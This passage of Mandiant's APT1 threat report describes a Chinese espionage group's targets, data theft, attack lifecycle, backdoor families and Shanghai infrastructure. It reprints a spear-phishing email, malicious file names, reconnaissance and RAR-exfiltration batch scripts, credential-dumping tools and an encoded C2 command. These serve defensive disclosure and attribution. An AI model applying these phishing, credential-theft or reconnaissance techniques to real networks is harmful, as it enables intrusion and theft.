Mandiant APT1 23 www.mandiant.com Aerospace Chemicals Construction and Manufacturing Education Energy Engineering Services Financial Services Food and Agriculture Healthcare High-Tech Electronics Information Technology Legal Services Media, Advertising and Entertainment Metals and Mining Navigation Public Administration Satellites and Telecommunications Scientific Research and Consulting Transportation 2006 2007 2008 2009 2010 2011 2012 TIMELINE OF APT1 COMPROMISES BY INDUSTRY SECTOR International Organizations FIGure 12: timeframe of aPt1s cyber espionage operations against organizations by industry.
the dots within each bar represent the earliest known date on which aPt1 compromised a new organization within the industry.
Mandiant APT1 24 www.mandiant.com We believe that organizations in all industries related to Chinas strategic priorities are potential targets of APT1s comprehensive cyber espionage campaign.
While we have certainly seen the group target some industries more heavily than others (see Figure 13), our observations confirm that APT1 has targeted at least four of the seven strategic emerging industries that China identified in its 12th Five Year Plan.28 0 5 10 15 20 0 5 10 15 20 Information Technology Aerospace Public Administration Satellites and Telecommunications Scientific Research and Consulting Energy Transportation Construction and Manufacturing Engineering Services High-tech Electronics International Organizations Legal Services Media, Advertising and Entertainment Navigation Chemicals Financial Services Food and Agriculture Healthcare Metals and Mining Education Industries Compromised by APT1 FIGure 13: number of aPt1 victims by industry.
we determined each organizations industry based on reviewing its industry classification in the hoovers29 system.
we also considered the content of the data that aPt1 stole in each case, to the extent that this information was available.
28  Joseph Casey and Katherine Koleski, Backgrounder: Chinas 12th Five-Year Plan, U.S.-China Economic  Security Review Commission (2011), 19, http://www.uscc.gov/researchpapers/2011/12th-FiveYearPlan_062811.pdf, accessed February 3, 2013.
29  http://www.hoovers.com/ http://www.uscc.gov/researchpapers/2011/12th-FiveYearPlan_062811.pdf Mandiant APT1 25 www.mandiant.com APT1 Data Theft APT1 steals a broad range of information from its victims.
The types of information the group has stolen relate to: product development and use, including information on test results, system designs, product manuals, parts lists, and simulation technologies manufacturing procedures, such as descriptions of proprietary processes, standards, and waste management processes business plans, such as information on contract negotiation positions and product pricing, legal events, mergers, joint ventures, and acquisitions policy positions and analysis, such as white papers, and agendas and minutes from meetings involving high- ranking personnel emails of high-ranking employees and user credentials and network architecture information.
It is often difficult for us to estimate how much data APT1 has stolen during their intrusions for several reasons: APT1 deletes the compressed archives after they pilfer them, leaving solely trace evidence that is usually overwritten during normal business activities.
Pre-existing network security monitoring rarely records or identifies the data theft.
The duration of time between the data theft and Mandiants investigation is often too great, and the trace evidence of data theft is overwritten during the normal course of business.
Some victims are more intent on assigning resources to restore the security of their network in lieu of investigating and understanding the impact of the security breach.
Even with these challenges, we have observed APT1 steal as much as 6.5 terabytes of compressed data from a single organization over a ten-month time period.
Given the scope of APT1s operations, including the number of organizations and industries we have seen them target, along with the volume of data they are clearly capable of stealing from any single organization, APT1 has likely stolen hundreds of terabytes from its victims.
Largest APT1 data theft from a single organization: 6.5 Terabytes over 10 months Although we do not have direct evidence indicating who receives the information that APT1 steals or how the recipient processes such a vast volume of data, we do believe that this stolen information can be used to obvious advantage by the PRC and Chinese state-owned enterprises.
As an example, in 2008, APT1 compromised the network of a company involved in a wholesale industry.
APT1 installed tools to create compressed file archives and to extract emails and attachments.
Over the following 2.5 years, APT1 stole an unknown number of files from the victim and repeatedly accessed the email accounts of several executives, including the CEO and General Counsel.
During this same time period, major news organizations reported that China had successfully negotiated a double-digit decrease in price per unit with the victim organization for one of its major commodities.
This may be coincidental however, it would be surprising if APT1 could continue perpetrating such a broad mandate of cyber espionage and data theft if the results of the groups efforts were not finding their way into the hands of entities able to capitalize on them.
Mandiant APT1 26 www.mandiant.com APT1 In The News Public reporting corroborates and extends our observations of APT1s cyber espionage activity.
However, several factors complicate the process of compiling and synthesizing public reports on APT1.
For one thing, information security researchers and journalists refer to APT1 by a variety of names.
In addition, many cyber security analysts focus on writing about tools that are shared between multiple Chinese APT groups without differentiating between the various actors that use them.
To assist researchers in identifying which public reports describe the threat group that we identify as APT1, Table 3 provides a list of APT group nicknames that frequently appear in the media and differentiates between those that describe APT1 and those that do not.
In addition, below is a list of public reports about Chinese threat actors that we have confirmed as referring to APT1.
The earliest known public report about APT1 infrastructure is a 2006 publication from the Japanese division of Symantec.30 The report calls out the hostname sb.hugesoft.org, which is registered to an APT1 persona known as Ugly Gorilla (discussed later in this report).
In September 2012, Brian Krebs of the Krebs on Security cybercrime blog reported on a security breach at Telvent Canada Ltd (now Schneider Electric), which we attributed to APT1 based on the tools and infrastructure that the hackers used to exploit and gain access to the system.31 taBLe 3: Identifying aPt1 nicknames in the news nickname Verdict Comment Crew Confirmed APT1 Comment Group Confirmed APT1 Shady Rat Possibly APT1 (not confirmed) nitro attacks Not APT1 Attributed to another tracked APT group elderwood Not APT1 Attributed to another tracked APT group sykipot Not APT1 Attributed to another tracked APT group aurora Not APT1 Attributed to another tracked APT group night Dragon Not APT1 Attributed to another tracked APT group A SCADA security company by the name of Digital Bond published a report of spear phishing against its company in June 2012.32 AlienVault provided analysis on the associated malware.33 Indicators included in the report have been attributed as part of APT1 infrastructure.
In November 2012, Bloombergs Chloe Whiteaker authored a piece on a Chinese threat group called Comment Group, which described the various tools and domains used by APT1 persona Ugly Gorilla.34 30  Symantec, Backdoor.
Wualess, Symantec Security Response (2007), http://www.symantec.com/ja/jp/security_response/print_writeup.
jsp?docid2006-101116-1723-99, accessed February 3, 2013.
31  Brian Krebs, Chinese Hackers Blamed for Intrusion at Energy Industry Giant Telvent, Krebs on Security (2012) http://krebsonsecurity.
com/2012/09/chinese-hackers-blamed-for-intrusion-at-energy-industry-giant-telvent/, accessed February 3, 2013 32 Reid Wightman, Spear Phishing Attempt, Digital Bond (2012), https://www.digitalbond.com/blog/2012/06/07/spear-phishing-attempt/, accessed February 3, 2013.
33 Jaime Blasco, Unveiling a spearphishing campaign and possible ramifications, Alien Vault (2012), http://labs.alienvault.com/labs/index.
php/2012/unveiling-a-spearphishing-campaign-and-possible-ramifications/, accessed February 3, 2013.
34 Chloe Whiteaker, Following the Hackers Trail, Bloomberg, (2012) http://go.bloomberg.com/multimedia/following-hackers-trail/, accessed February 3, 2013.
http://www.symantec.com/ja/jp/security_response/print_writeup.jsp?docid2006-101116-1723-99 http://www.symantec.com/ja/jp/security_response/print_writeup.jsp?docid2006-101116-1723-99 http://krebsonsecurity.com/2012/09/chinese-hackers-blamed-for-intrusion-at-energy-industry-giant-telvent/ http://krebsonsecurity.com/2012/09/chinese-hackers-blamed-for-intrusion-at-energy-industry-giant-telvent/ Mandiant APT1 27 www.mandiant.com aPt1: attaCk LIFeCyCLe APT1 has a well-defined attack methodology, honed over years and designed to steal massive quantities of intellectual property.
They begin with aggressive spear phishing, proceed to deploy custom digital weapons, and end by exporting compressed bundles of files to China  before beginning the cycle again.
They employ good English  with acceptable slang  in their socially engineered emails.
They have evolved their digital weapons for more than seven years, resulting in continual upgrades as part of their own software release cycle.
Their ability to adapt to their environment and spread across systems makes them effective in enterprise environments with trust relationships.
These attacks fit into a cyclic pattern of activity that we will describe in this section within the framework of Mandiants Attack Lifecycle model.
In each stage we will discuss APT1s specific techniques to illustrate their tenacity and the scale at which they operate.
(
See Appendix B: APT and the Attack Lifecycle for a high-level overview of the steps most APT groups take in each stage of the Attack Lifecycle.)
Initial Recon Initial Compromise Establish Foothold Escalate Privileges Complete Mission Internal Recon Move Laterally Maintain Presence FIGure 14: Mandiants attack Lifecycle Model Mandiant APT1 28 www.mandiant.com The Initial Compromise The Initial Compromise represents the methods intruders use to first penetrate a target organizations network.
As with most other APT groups, spear phishing is APT1s most commonly used technique.
The spear phishing emails contain either a malicious attachment or a hyperlink to a malicious file.
The subject line and the text in the email body are usually relevant to the recipient.
APT1 also creates webmail accounts using real peoples names  names that are familiar to the recipient, such as a colleague, a company executive, an IT department employee, or company counsel and uses these accounts to send the emails.
As a real-world example, this is an email that APT1 sent to Mandiant employees: Date: Wed, 18 Apr 2012 06:31:41 -0700 From: Kevin Mandia kevin.mandiarocketmail.com Subject: Internal Discussion on the Press Release Hello, Shall we schedule a time to meet next week?
We need to finalize the press release.
Details click here.
Kevin Mandia FIGure 15: aPt1 spear Phishing email At first glance, the email appeared to be from Mandiants CEO, Kevin Mandia.
However, further scrutiny shows that the email was not sent from a Mandiant email account, but from kevin.mandiarocketmail.com.
Rocketmail is a free webmail service.
The account kevin.mandiarocketmail.com does not belong to Mr. Mandia.
Rather, an APT1 actor likely signed up for the account specifically for this spear phishing event.
If anyone had clicked on the link that day (which no one did, thankfully), their computer would have downloaded a malicious ZIP file named Internal_ Discussion_Press_Release_In_Next_Week8.zip.
This file contained a malicious executable that installs a custom APT1 backdoor that we call WEBC2-TABLE.
Mandiant APT1 29 www.mandiant.com Although the files that APT1 actors attach or link to spear phishing emails are not always in ZIP format, this is the predominant trend we have observed in the last several years.
Below is a sampling of file names that APT1 has used with their malicious ZIP files: 2012ChinaUSAviationSymposium.zip Employee-Benefit-and-Overhead-Adjustment-Keys.zip MARKET-COMMENT-Europe-Ends-Sharply-Lower-On-Data-Yields-Jump.zip Negative_Reports_Of_Turkey.zip New_Technology_For_FPGA_And_Its_Developing_Trend.zip North_Korean_launch.zip Oil-Field-Services-Analysis-And-Outlook.zip POWER_GEN_2012.zip Proactive_Investors_One2One_Energy_Investor_Forum.zip Social-Security-Reform.zip South_China_Sea_Security_Assessment_Report.zip Telephonics_Supplier_Manual_v3.zip The_Latest_Syria_Security_Assessment_Report.zip Updated_Office_Contact_v1.zip Updated_Office_Contact_v2.zip Welfare_Reform_and_Benefits_Development_Plan.zip Spear Phishing Email with Attachment  Whats this email?
Is this for real?
Its legit.
Okay, thanks APT 1 APT 1 APT 1 The example file names include military, economic, and diplomatic themes, suggesting the wide range of industries that APT1 targets.
Some names are also generic (e.g., updated_office_contact_v1.zip) and could be used for targets in any industry.
On some occasions, unsuspecting email recipients have replied to the spear phishing messages, believing they were communicating with their acquaintances.
In one case a person replied, Im not sure if this is legit, so I didnt open it.
Within 20 minutes, someone in APT1 responded with a terse email back: Its legit.
FIGure 16: aPt1s interaction with a spear phishing recipient Mandiant APT1 30 www.mandiant.com would you click on this?
Some APT1 actors have gone to the trouble of making the malicious software inside their ZIP files look like benign Adobe PDF files.
Here is an example: This is not a PDF file.
It looks like the filename has a PDF extension but the file name actually includes 119 spaces after .pdf followed by .exe  the real file extension.
APT1 even went to the trouble of turning the executables icon to an Adobe symbol to complete the ruse.
However, this file is actually a dropper for a custom APT1 backdoor that we call WEBC2-QBP.
Establishing A Foothold Establishing a foothold involves actions that ensure control of the target networks systems from outside the network.
APT1 establishes a foothold once email recipients open a malicious file and a backdoor is subsequently installed.
A backdoor is software that allows an intruder to send commands to the system remotely.
In almost every case, APT backdoors initiate outbound connections to the intruders command and control (C2) server.
APT intruders employ this tactic because while network firewalls are generally adept at keeping malware outside the network from initiating communication with systems inside the network, they are less reliable at keeping malware that is already inside the network from communicating to systems outside.
1001100100011010100                     10010100101110001100100011010100 C2 FIGure 17: Backdoors installed on compromised systems usually initiate connections with C2 servers While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT, the vast majority of the time they use what appear to be their own custom backdoors.
We have documented 42 families of backdoors in Appendix C: The Malware Arsenal that APT1 uses that we believe are not publicly available.
In addition we have provided 1,007 MD5 hashes associated with APT1 malware in Appendix E. We will describe APT1s backdoors in two categories: Beachhead Backdoors and Standard Backdoors.
Mandiant APT1 31 www.mandiant.com Beachhead Backdoors Beachhead backdoors are typically minimally featured.
They offer the attacker a toe-hold to perform simple tasks like retrieve files, gather basic system information and trigger the execution of other more significant capabilities such as a standard backdoor.
APT1s beachhead backdoors are usually what we call WEBC2 backdoors.
WEBC2 backdoors are probably the most well-known kind of APT1 backdoor, and are the reason why some security companies refer to APT1 as the Comment Crew.
A WEBC2 backdoor is designed to retrieve a webpage from a C2 server.
It expects the webpage to contain special HTML tags the backdoor will attempt to interpret the data between the tags as commands.
Older versions of WEBC2 read data between HTML comments, though over time WEBC2 variants have evolved to read data contained within other types of tags.
From direct observation, we can confirm that APT1 was using WEBC2 backdoors as early as July 2006.
However, the first compile time35 we have for WEBC2-KT3 is 2004-01-23, suggesting that APT1 has been crafting WEBC2 backdoors since early 2004.
Based on the 400 samples of WEBC2 variants that we have accumulated, it appears that APT1 has direct access to developers who have continually released new WEBC2 variants for over six years.
For example, these two build paths, which were discovered inside WEBC2-TABLE samples, help to illustrate how APT1 has been steadily building new WEBC2 variants as part of a continuous development process: sample a MD5: d7aa32b7465f55c368230bb52d52d885 Compile date: 2012-02-23 \work\code\2008-7-8muma\mywork\winInet_ winApplication2009-8-7\mywork\ aaaaaaa2012-2-23\Release\aaaaaaa.pdb sample B MD5: c1393e77773a48b1eea117a302138554 Compile date: 2009-08-07 D:\work\code\2008-7-8muma\mywork\winInet_ winApplication2009-8-7\mywork\aaaaaaa\Release\ aaaaaaa.pdb 35 Compile refers to the process of transforming a programmers source code into a file that a computer can understand and execute.
The compile date is easily accessible in the PE header of the resulting executable file unless the intruder takes additional steps to obfuscate it.
weBC2 families WEBC2-AUSOV WEBC2-ADSPACE WEBC2-BOLID WEBC2-CLOVER WEBC2-CSON WEBC2-DIV WEBC2-GREENCAT WEBC2-HEAD WEBC2-KT3 WEBC2-QBP WEBC2-RAVE WEBC2-TABLE WEBC2-TOCK WEBC2-UGX WEBC2-YAHOO WEBC2-Y21K and many still uncategorized what is a malware family?
A malware family is a collection of malware in which each sample shares a significant amount of code with all of the others.
To help illustrate this, consider the following example from the physical world.
There is now a vast array of computing tablets for sale.
These include Apples iPad, Samsungs Galaxy Tab, and Microsofts Surface.
Although these are all tablet computers, under the hood they are probably quite different.
However, one can expect that an iPad 1 and an iPad 2 share a significant number of components  much more than, say, an iPad 1 and a Microsoft Surface.
Thus it makes sense to refer to the iPad family and the Surface family.
When it comes to computer programs, in general if they share more than 80 of the same code we consider them part of the same family.
There are exceptions: for example, some files contain public and standard code libraries that we do not take into consideration when making a family determination.
Mandiant APT1 32 www.mandiant.com A build path discloses the directory from which the programmer built and compiled his source code.
These samples, compiled 2.5 years apart, were compiled within a folder named work\code\...\ mywork.
The instances of work suggest that working on WEBC2 is someones day job and not a side project or hobby.
Furthermore, the Sample A build string includes 2012-2-23  which matches Sample As compile date.
The Sample B build string lacks 2012-2-23 but includes 2009-8-7  which also matches Sample Bs compile date.
This suggests that the code used to compile Sample A was modified from code that was used to compile Sample B 2.5 years previously.
The existence of 2008-7-8 suggests that the code for both samples was modified from a version that existed in July 2008, a year before Sample B was created.
This series of dates indicates that developing and modifying the WEBC2 backdoor is an iterative and long-term process.
WEBC2 backdoors typically give APT1 attackers a short and rudimentary set of commands to issue to victim systems, including: Open an interactive command shell (usually Windows cmd.exe) Download and execute a file Sleep (i.e.
remain inactive) for a specified amount of time WEBC2 backdoors are often packaged with spear phishing emails.
Once installed, APT1 intruders have the option to tell victim systems to download and execute additional malicious software of their choice.
WEBC2 backdoors work for their intended purpose, but they generally have fewer features than the Standard Backdoors described below.
standard Backdoors The standard, non-WEBC2 APT1 backdoor typically communicates using the HTTP protocol (to blend in with legitimate web traffic) or a custom protocol that the malware authors designed themselves.
These backdoors give APT intruders a laundry list of ways to control victim systems, including: Create/modify/delete/execute programs Upload/download files Create/delete directories List/start/stop processes Modify the system registry Take screenshots of the users desktop Capture keystrokes Capture mouse movement Start an interactive command shell Create a Remote desktop (i.e.
graphical) interface Harvest passwords Enumerate users Enumerate other systems on the network Sleep (i.e.
go inactive) for a specified amount of time Log off the current user Shut down the system SEASALT LONGRUN WEBC2.TOCK WEBC2.YAHOO WARP TABMSGSQL WEBC2.CSONWEBC2.QBP COMBOSWEBC2.DIV COOKIEBAG GLOOXMAIL MINIASP BOUNCER WEBC2.TABLE WEBC2.BOLIDKURTON CALENDAR GDOCUPLOAD LIGHTBOLT WEBC2.Y21K WEBC2.KT32004 LIGHTDART 2005 2006 MAPIGET BISCUIT MANITSMEWEBC2.UGX STARSYPOUNDTARSIP DAIRY SWORD HELAUTO WEBC2.AUSOVHACKSFASE AURIGA WEBC2.CLOVERGREENCAT MACROMAILGOGGLES NEWSREELSWEBC2.RAVE WEBC2.ADSPACE WEBC2.HEAD BANGAT 2007 2008 2009 2010 2011 2012 APT 1 MALWARE FAMILIES GETMAIL FIRST KNOWN COMPILE TIMES Mandiant APT1 33 www.mandiant.com The BISCUIT backdoor (so named for the command bdkzt) is an illustrative example of the range of commands that APT1 has built into its standard backdoors.
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently.
taBLe 4: a subset of BIsCuIt commands Command Description bdkzt Launch a command shell ckzjqk Get system information download file Transfer a file from the C2 server exe file user Launch a program as a specific user exit Close the connection and sleep lists type List servers on a Windows network.
ljc Enumerate running processes and identify their owners.
sjc PIDNAME Terminate a process, either by process ID or by process name.
upload file Send a file to the C2 server zxdosml input Send input to the command shell process (launched with bdkzt).
These functions are characteristic of most backdoors, and are not limited to APT1 or even APT.
For example, anyone who wants to control a system remotely will likely put functions like Upload/download files into a backdoor.
Covert Communications Some APT backdoors attempt to mimic legitimate Internet traffic other than the HTTP protocol.
APT1 has created a handful of these, including: taBLe 5: Backdoors that mimic legitimate communication protocols Backdoor  Mimicked protocol MaCroMaIL  MSN Messenger GLooxMaIL  Jabber/XMPP CaLenDar  Gmail Calendar When network defenders see the communications between these backdoors and their C2 servers, they might easily dismiss them as legitimate network traffic.
Additionally, many of APT1s backdoors use SSL encryption so that communications are hidden in an encrypted SSL tunnel.
We have provided APT1s public SSL certificates in Appendix F so people can incorporate them into their network signatures.
Mandiant APT1 34 www.mandiant.com Privilege Escalation Escalating privileges involves acquiring items (most often usernames and passwords) that will allow access to more resources within the network.
In this and the next two stages, APT1 does not differ significantly from other APT intruders (or intruders, generally).
APT1 predominantly uses publicly available tools to dump password hashes from victim systems in order to obtain legitimate user credentials.
APT1 has used these privilege escalation tools: taBLe 6: Publicly available privilege escalation tools that aPt1 has used tool Description  website cachedump This program extracts cached password hashes from a systems registry Currently packaged with fgdump (below) fgdump Windows password hash dumper  http://www.foofus.net/fizzgig/fgdump/ gsecdump Obtains password hashes from the Windows registry, including the SAM file, cached domain credentials, and LSA secrets http://www.truesec.se lslsass Dump active logon session password hashes from the lsass process http://www.truesec.se mimikatz A utility primarily used for dumping password hashes http://blog.gentilkiwi.com/mimikatz pass-the-hash toolkit Allows an intruder to pass a password hash (without knowing the original password) to log in to systems http://oss.coresecurity.com/projects/pshtoolkit.htm pwdump7 Dumps password hashes from the Windows registry http://www.tarasco.org/security/pwdump_7/ pwdumpx Dumps password hashes from the Windows registry The tool claims its origin as http://reedarvin.thearvins.com/, but the site is not offering this software as of the date of this report Mandiant APT1 35 www.mandiant.com Internal Reconnaissance In the Internal Reconnaissance stage, the intruder collects information about the victim environment.
Like most APT (and non-APT) intruders, APT1 primarily uses built-in operating system commands to explore a compromised system and its networked environment.
Although they usually simply type these commands into a command shell, sometimes intruders may use batch scripts to speed up the process.
Figure 18 below shows the contents of a batch script that APT1 used on at least four victim networks.
echo off ipconfig /allC:\WINNT\Debug\1.txt net startC:\WINNT\Debug\1.txt tasklist /vC:\WINNT\Debug\1.txt net user C:\WINNT\Debug\1.txt net localgroup administratorsC:\WINNT\Debug\1.txt netstat -anoC:\WINNT\Debug\1.txt net useC:\WINNT\Debug\1.txt net viewC:\WINNT\Debug\1.txt net view /domainC:\WINNT\Debug\1.txt net group /domainC:\WINNT\Debug\1.txt net group domain users /domainC:\WINNT\Debug\1.txt net group domain admins /domainC:\WINNT\Debug\1.txt net group domain controllers /domainC:\WINNT\Debug\1.txt net group exchange domain servers /domainC:\WINNT\Debug\1.txt net group exchange servers /domainC:\WINNT\Debug\1.txt net group domain computers /domainC:\WINNT\Debug\1.txt FIGure 18: an aPt1 batch script that automates reconnaissance what is a password hash?
When a person logs in to a computer, website, email server, or any networked resource requiring a password, the supplied password needs to be verified.
One way to do this would be to store the persons actual password on the system that the person is trying to access, and to compare the typed password to the stored password.
Although simple, this method is also very insecure: anyone who can access that same system will be able to see the persons password.
Instead, systems that verify passwords usually store password hashes.
In simple terms, a password hash is a number that is mathematically generated from the persons password.
The mathematical methods (algorithms) used to generate password hashes will create values that are unique for all practical purposes.
When a person supplies their password, the computer generates a hash of the typed password and compares it to the stored hash.
If they match, the passwords are presumed to be the same and the person is allowed to log in.
It is supposed to be impossible to reverse a hash to obtain the original password.
However, it is possible with enough computational resources to crack password hashes to discover the original password.
(
Cracking generally consists of guessing a large number of passwords, hashing them, and comparing the generated hashes to the existing hashes to see if any match.)
Intruders will steal password hashes from victim systems in hopes that they can either use the hashes as-is (by passing-the-hash) or crack them to discover users passwords.
Mandiant APT1 36 www.mandiant.com This script performs the following functions and saves the results to a text file: Display the victims network configuration information List the services that have started on the victim system List currently running processes List accounts on the system List accounts with administrator privileges List current network connections List currently connected network shares List other systems on the network List network computers and accounts according to group (domain controllers, domain users, domain admins, etc.)
Lateral Movement Once an APT intruder has a foothold inside the network and a set of legitimate credentials,36 it is simple for the intruder to move around the network undetected: They can connect to shared resources on other systems They can execute commands on other systems using the publicly available psexec tool from Microsoft Sysinternals or the built-in Windows Task Scheduler (at.exe) These actions are hard to detect because legitimate system administrators also use these techniques to perform actions around the network.
Maintain Presence In this stage, the intruder takes actions to ensure continued, long-term control over key systems in the network environment from outside of the network.
APT1 does this in three ways.
1.
Install new backdoors on multiple systems Throughout their stay in the network (which could be years), APT1 usually installs new backdoors as they claim more systems in the environment.
Then, if one backdoor is discovered and deleted, they still have other backdoors they can use.
We usually detect multiple families of APT1 backdoors scattered around a victim network when APT1 has been present for more than a few weeks.
2.
use legitimate vPn credentials APT actors and hackers in general are always looking for valid credentials in order to impersonate a legitimate user.
We have observed APT1 using stolen usernames and passwords to log into victim networks VPNs when the VPNs are only protected by single-factor authentication.
From there they are able to access whatever the impersonated users are allowed to access within the network.
36 Mandiant uses the term credentials to refer to a userid and its corresponding, working password.
Mandiant APT1 37 www.mandiant.com 3.
Log in to web portals Once armed with stolen credentials, APT1 intruders also attempt to log into web portals that the network offers.
This includes not only restricted websites, but also web-based email systems such as Outlook Web Access.
Completing The Mission Similar to other APT groups we track, once APT1 finds files of interest they pack them into archive files before stealing them.
APT intruders most commonly use the RAR archiving utility for this task and ensure that the archives are password protected.
Sometimes APT1 intruders use batch scripts to assist them in the process, as depicted in Figure 19.
(
The instances of XXXXXXXX obfuscate the text that was in the actual batch script.)
echo off cd /d c:\windows\tasks rar.log a XXXXXXXX.rar -v200m C:\Documents and Settings\Place\My Documents\XXXXXXXX -hpsmy123 del .vbs del 0 FIGure 19: an aPt1 batch script that bundles stolen files into rar archive files After creating files compressed via RAR, the APT1 attackers will transfer files out of the network in ways that are consistent with other APT groups, including using the File Transfer Protocol (FTP) or their existing backdoors.
Many times their RAR files are so large that the attacker splits them into chunks before transferring them.
Figure 19 above shows a RAR command with the option -v200m, which means that the RAR file should be split up into 200MB portions.
.rar FIGure 20: aPt1 bundles stolen files into rar archives before moving data to China Mandiant APT1 38 www.mandiant.com Unlike most other APT groups we track, APT1 uses two email-stealing utilities that we believe are unique to APT1.
The first, GETMAIL, was designed specifically to extract email messages, attachments, and folders from within Microsoft Outlook archive (PST) files.
Microsoft Outlook archives can be large, often storing years worth of emails.
They may be too large to transfer out of a network quickly, and the intruder may not be concerned about stealing every email.
The GETMAIL utility allows APT1 intruders the flexibility to take only the emails between dates of their choice.
In one case, we observed an APT1 intruder return to a compromised system once a week for four weeks in a row to steal only the past weeks emails.
Whereas GETMAIL steals email in Outlook archive files, the second utility, MAPIGET, was designed specifically to steal email that has not yet been archived and still resides on a Microsoft Exchange Server.
In order to operate successfully, MAPIGET requires username/password combinations that the Exchange server will accept.
MAPIGET extracts email from specified accounts into text files (for the email body) and separate attachments, if there are any.
english as a second Language APT1s Its legit email should not mislead someone into thinking that APT1 personnel are all fluent in English, though some undoubtedly are.
Their own digital weapons betray the fact that they were programmed by people whose first language is not English.
Here are some examples of grammatically incorrect phrases that have made it into APT1s tools over the years.
taBLe 7: examples of grammatically incorrect phrases in aPt1 malware Phrase tool Compile date If use it, key is the KEY.
GETMAIL 2005-08-18 Wether encrypt or not,Default is NOT.
GETMAIL 2005-08-18 ToolHelp API isnt support on NT versions prior to Windows 2000 LIGHTDART 2006-08-03 No Doubt to Hack You, Writed by UglyGorilla MANITSME 2007-09-06 Type command disable.
Go on HELAUTO 2008-06-16 File no exist.
Simple Downloader (not profiled) 2008-11-26 you specify service name not in Svchost\netsvcs, must be one of following BISCUIT 2009-06-02 Can not found the PID WEBC2 (Uncat) 2009-08-11 Doesnt started GREENCAT 2009-08-18 Exception Catched MACROMAIL 2010-03-15 Are you sure to FORMAT Disk C With NTFS?
(Y/N) TABMSGSQL 2010-11-04 Shell is not exist or stopped TARSIP 2011-03-24 Reqfile not exist COOKIEBAG 2011-10-12 the url no respon COOKIEBAG 2011-10-12 Fail To Execute The Command WEBC2-TABLE 2012-02-23 Mandiant APT1 39 www.mandiant.com aPt1: InFrastruCture APT1 maintains an extensive infrastructure of computers around the world.
We have evidence suggesting that APT1 manually controls thousands of systems in support of their attacks, and have directly observed their control over hundreds of these systems.
Although they control systems in dozens of countries, their attacks originate from four large networks in Shanghai  two of which are allocated directly to the Pudong New Area, the home of Unit 61398.
The sheer number of APT1 IP addresses concentrated in these Shanghai ranges, coupled with Simplified Chinese keyboard layout settings on APT1s attack systems, betrays the true location and language of the operators.
To help manage the vast number of systems they control, APT1 has registered hundreds of domain names, the majority of which also point to a Shanghai locale.
The domain names and IP addresses together comprise APT1s command and control framework which they manage in concert to camouflage their true origin from their English speaking targets.
APT1 Network Origins We are frequently asked why it is an ineffective security measure to just block all IP addresses in China from connecting to your network.
To put it simply, it is easy for APT1 attackers to bounce or hop through intermediary systems such that they almost never connect to a victim network directly from their systems in Shanghai.
Using their immense infrastructure, they are able to make it appear to victims that an attack originates from almost any country they choose.
The systems in this type of network redirection infrastructure have come to be called hop points or hops.
Hop points are most frequently compromised systems that APT1 uses, in some instances for years, as camouflage for their attacks without the knowledge of the systems owners.
These systems belong to third-party victims who are compromised for access to infrastructure, as opposed to direct victims who are compromised for their data and intellectual property.
FIGure 21: aPt1 bounces through hop point systems before accessing victim systems Mandiant APT1 40 www.mandiant.com We have observed some of APT1s activities after they cross into (virtual) U.S. territory.
They access hop points using a variety of techniques, the most popular being Remote Desktop and FTP.
Over a two-year period (January 2011 to January 2013) we confirmed 1,905 instances of APT1 actors logging into their hop infrastructure from 832 different IP addresses with Remote Desktop.
Remote Desktop provides a remote user with an interactive graphical interface to a system.
The experience is similar to the user actually physically sitting at the system and having direct access to the desktop, keyboard, and mouse.
Of the 832 IP addresses, 817 (98.2) were Chinese and belong predominantly to four large net blocks in Shanghai which we will refer to as APT1s home networks.
taBLe 8: net blocks corresponding to IP addresses that aPt1 used to access their hop points number net block registered owner 445 223.166.0.0 - 223.167.255.255 China Unicom Shanghai Network 217 58.246.0.0 - 58.247.255.255 China Unicom Shanghai Network 114 112.64.0.0 - 112.65.255.255 China Unicom Shanghai Network 12 139.226.0.0 - 139.227.255.255 China Unicom Shanghai Network 1 114.80.0.0 - 114.95.255.255 China Telecom Shanghai Network 1 101.80.0.0 - 101.95.255.255 China Telecom Shanghai Network 27 Other (non-Shanghai) Chinese IPs Notably, the registration information for the second and third net blocks above includes this contact information at the end: person: yanling ruan nic-hdl:  YR194-AP e-mail:  sh-ipmasterchinaunicom.cn address:  No.900,Pudong Avenue,ShangHai,China phone:  086-021-61201616 fax-no:  086-021-61201616 country:  cn The registration information for these two net blocks suggests that they serve the Pudong New Area of Shanghai, where PLA Unit 61398 is headquartered.
The other 15 of the 832 IP addresses are registered to organizations in the U.S. (12), Taiwan (1), Japan (1) and Korea (1).
We have confirmed that some of these systems are part of APT1s hop infrastructure and not legitimately owned by APT1  in other words, APT1 accessed one hop from another hop, as opposed to accessing the hop directly from Shanghai.
In order to make a users experience as seamless as possible, the Remote Desktop protocol requires client applications to forward several important details to the server, including their client hostname and the client keyboard layout.
In 1,849 of the 1,905 (97) APT1 Remote Desktop sessions we observed in the past two years, the keyboard layout setting was Chinese (Simplified)  US Keyboard.
Microsofts Remote Desktop client configures this setting automatically based on the selected language on the client system, making it nearly certain that the APT1 actors managing the hop infrastructure are doing so with Simplified Chinese (zh-cn) input settings.
Simplified Chinese is a streamlined set of the traditional Chinese characters that have been in use since the 1950s, originating in mainland China.
Taiwan and municipalities such as Hong Kong still use Traditional Chinese (zh-tw) character sets.
The overwhelming concentration of Shanghai IP addresses and Simplified Chinese language settings clearly indicate that APT1 intruders are mainland Chinese speakers with ready access to large networks in Shanghai.
The only Mandiant APT1 41 www.mandiant.com alternative is that APT1 has intentionally been conducting a years-long deception campaign to impersonate Chinese speakers from Shanghai in places where victims are not reasonably expected to have any visibility  and without making a single mistake that might indicate their true identity.
Interaction with Backdoors As we just mentioned, APT1 attackers typically use hops to connect to and control victim systems.
Victim backdoors regularly connect out to hop points, waiting for the moment that the attacker is there to give them commands.
However, exactly how this works is often specific to the tools they are using.
MANUAL WEBC2 UPDATES As covered in the previous Attack Lifecycle section, WEBC2 backdoor variants download and interpret data stored between tags in HTML pages as commands.
They usually download HTML pages from a system within APT1s hop infrastructure.
We have observed APT1 intruders logging in to WEBC2 servers and manually editing the HTML pages that backdoors will download.
Because the commands are usually encoded and difficult to spell from memory, APT1 intruders typically do not type these strings, but instead copy and paste them into the HTML files.
They likely generate the encoded commands on their own systems before pasting them in to an HTML file hosted by the hop point.
For example, we observed an APT attacker pasting the string czo1NA into an HTML page.
That string is the base64- encoded version of s:54, meaning sleep for 54 minutes (or hours, depending on the particular backdoor).
In lieu of manually editing an HTML file on a hop point, we have also observed APT1 intruders uploading new (already-edited) HTML files.
HTRAN When APT1 attackers are not using WEBC2, they require a command and control (C2) user interface so they can issue commands to the backdoor.
